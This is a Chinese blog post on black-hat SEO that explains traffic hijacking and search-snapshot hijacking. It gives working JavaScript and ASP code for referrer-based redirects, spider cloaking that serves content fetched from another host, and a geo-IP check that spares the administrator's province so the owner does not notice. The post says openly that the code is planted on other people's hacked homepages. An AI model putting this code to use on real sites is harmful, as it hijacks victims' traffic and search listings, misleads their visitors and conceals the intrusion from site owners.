洞悉互聯網前沿資訊,探尋網站營銷規律
作者:Smileby陌少羽 | 2017-05-11 08:45 |點擊:
黑帽SEO手法站長們都或多或少聽過,其中最為大家熟悉的就是流量劫持和快照劫持,不過很多新手站長對這些表現不熟悉,那今天代明博客就為大家簡單分析一下,黑帽SEO手法中的流量劫持、快照劫持、以及判斷地區劫持流量。
首先黑帽包括很多很多手法,技術含量也要求很高。比如舉幾個列子:流量劫持、快照劫持、泛域名、泛ip、變種ip、目錄鏈輪、新聞源劫持、寄生蟲程序、get程序、無限頁面鏈輪等等 ,不止這些,而且還會不停的出新技能。
有站長發現一個現象,說劫持的時候會判斷一下來路引擎,從百度來的時候才會跳轉,正常輸入網址是打開正常的。好,我們先看一下是怎么實現的,上代碼:
<script LANGUAGE=”Javascript”>
var s=document.referrer
if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 )
location.href=”http://www.hao123.com”;
else
location.href=”indax.php/index.asp/index.html”
</script>
代碼解釋:if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 ) 判斷搜索引擎來源,如果來源正確,location.href=”http://www.hao123.com”;跳轉到hao123網站。下面的代碼是如果否,則打開正常首頁。這段代碼為js代碼。只是一個簡單的判斷。
這個是有點技術含量的,需要的代碼也不會那么簡單,總之目的是把別人網站首頁的快照變成自己的,然后別人輸入網址打開的時候還是正常顯示,判斷來路之后才會跳轉。想把快照換成自己想要的,得需要一段能改變蜘蛛看法的代碼,代碼類型很多,我這里寫一種:
<%@ LANGUAGE = VBScript.Encode %><%
Dim agent
agent=Request.ServerVariables(“http_user_agent”)
If instr(agent,”Baiduspider”) > 0 or instr(agent,”baidubrowser”) > 0 or instr(agent,”Sogou”) > 0 or instr(agent,”googlebot”) > 0 or instr(agent,”Sosospider”) > 0 then
linkurl=”http://www.xxx.com” ‘快照網址
Function GetBody(Url)
Dim objXML
On Error Resume Next
Set objXML = CreateObject(“Microsoft.XMLHTTP”)
With objXML
.Open “Get”, Url, False, “”, “”
.Send
GetBody = .ResponseBody
End With
GetBody=BytesToBstr(GetBody,”GB2312″)
Set objXML = Nothing
End Function
Function BytesToBstr(strBody,CodeBase)
dim objStream
set objStream = Server.CreateObject(“Adodb.Stream”)
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write strBody
objStream.Position = 0
objStream.Type = 2
objStream.Charset = CodeBase
BytesToBstr = objStream.ReadText
objStream.Close
set objStream = nothing
End Function
response.write GetBody(linkurl)
End if%>
<script LANGUAGE=”Javascript”>
var s=document.referrer
if(s.indexOf(“google”)>0 || s.indexOf(“baidu”)>0 || s.indexOf(“yahoo”)>0 )
location.href=”http://www.baidu.com”;
</script>
代碼解釋:前一段判斷抓取蜘蛛來源,指向快照抓取網址;后一段代碼判斷來路,進行跳轉到指定網址。這段代碼其他地方暫不解釋。
可能有時候怕管理發現,也不需要其他地區的沒用流量。要怎么做呢。比如管理員是江西的,那么看代碼:
<script src=”http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js” charset=”GB2312″ ></script>
<script type=text/javascript>
if(remote_ip_info.province ==’江西’){這里指定地區
;這里為空表示不跳轉 我們留空表示不跳轉
}else{否則
window.location.href=”http://www.hao123.com”;如果不是上面地區 就跳轉到這個網址
}
</script>
代碼解釋:http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js 為ip數據識別;其他代碼看注釋;
好了,今天就說這幾個簡單的手法吧,但有人要問了,要怎么實現呢,這些代碼要放在什么地方?代明博客淡淡的說:要放在別人網站的首頁上。既然是劫持,肯定是劫持別人網站的了。那要怎么放進去呢?黑掉。所以說黑帽是建立在非常高深的技術上面,然后結合seo理論,實現的一種高效轉化流量的手段,當然,這里我們暫且不談黑帽的持久性。